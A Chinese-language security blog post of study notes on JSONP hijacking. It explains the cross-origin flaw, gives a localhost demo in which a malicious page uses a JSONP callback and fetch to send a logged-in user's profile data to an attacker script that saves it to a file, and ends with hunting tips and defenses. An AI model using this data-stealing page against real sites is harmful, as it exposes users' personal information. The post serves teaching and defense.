jsonp漏洞学习笔记

原理

jsonp(JSON with Padding)是json的一种”使用模式”,实现了跨域读取数据。由于浏览器存在同源策略,ajax只能请求到同源的域(域名、协议、端口都相同),而script标签的src属性不受同源策略的限制,所以通过script标签进行跨域传输比较方便。

如果我们访问了一个恶意页面,这个页面上存在一段恶意js,请求了正常页面的jsonp接口,这个jsonp接口可以返回个人信息。从而恶意页面就可以读取这段数据,获得了用户的个人信息。下图中的A站就是恶意页面,而B站就是正常页面。需要注意的是,这个操作需要用户在B站已经存在登录状态。

image-20220525134233406

利用方式

演示demo

假设现在存在一个正常的页面user.php,有一个返回用户个人信息的接口,后端代码如下:

1
2
3
4
5
<?php
$callback = $_GET['callback'];
header('Content-type: application/json');
print $callback.'({"id":"1","name":"alice","email":"alice@qq.com"})';
?>

image-20220525144006247

前端代码如下,用script标签跨域请求jsonp资源,相当于调用了前端的info函数把获取到的资源显示在页面上,这就是很正常的一个网站。

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>info api</title>
</head>
<body></body>
<script>info = (data) => {document.write(JSON.stringify(data))}</script>
<script src="http://localhost:81/user.php?callback=info"></script>
</html>

接下来构造一个恶意页面evil.php,让用户一访问到这个页面,就会请求查询他个人信息的接口,并且把获取到的数据上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php file_put_contents('json.txt', $_GET['file']);?>

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Evil</title>
</head>
<body></body>
<script>
var test = (data) => {
fetch('http://localhost:81/evil.php?file=' + JSON.stringify(data));
}
</script>
<script src="http://localhost:81/user.php?callback=test"></script>
</html>

用户访问这个evil.php页面后,第15行的代码就是请求了正常页面的获取个人信息的接口,第12行的就是用fetch发起一个get请求(辣鸡XMLHttpRequest写起来太费劲),将获取到的数据上传到服务器。第1行php接收到了个人信息的数据,就把数据写在了json.txt中。从而用户的个人信息被攻击者获取。

image-20220525161340266

image-20220525161632601

这里的三个请求就代表了攻击路径,服务器上的json.txt被创建,里面包含了用户的个人信息。恶意页面在8088端口,而正常页面在81端口,两者属于不同的源,代表这里跨域攻击成功。

实战

在实战中,jsonp经常被用于某蜜罐中,用于捕获攻击者的社交平台个人信息,形成攻击画像,最终溯源到攻击者。

yy时刻

那么如何在挖洞中寻找jsonp漏洞,纯属yy

可以从两个方面进行,一种是从代码里找,一种是从流量里找

从代码里找就是从js文件中,利用jsfinder这类接口爬虫工具,寻找能返回json 的api,或是寻找存在“callback”字样的url请求。重点关注script标签中的src属性

从流量里找就是在请求头或url中存在“json”,或是响应头中存在“content-type:application/json”字样的请求,

防御方法

json 正确的 http 头输出尽量避免跨域的数据传输,对于同域的数据传输使用 XMLHttpRequest 或 fetch 的方式作为数据获取的方式,依赖于 javascript 在浏览器域里的安全性保护数据。如果是跨域的数据传输,在后台必须要对敏感的数据获取做权限认证。

参考

JSONP与CORS漏洞挖掘


jsonp漏洞学习笔记
https://wanf3ng.github.io/2022/05/25/jsonp漏洞学习笔记/
作者
wanf3ng
发布于
2022年5月25日
许可协议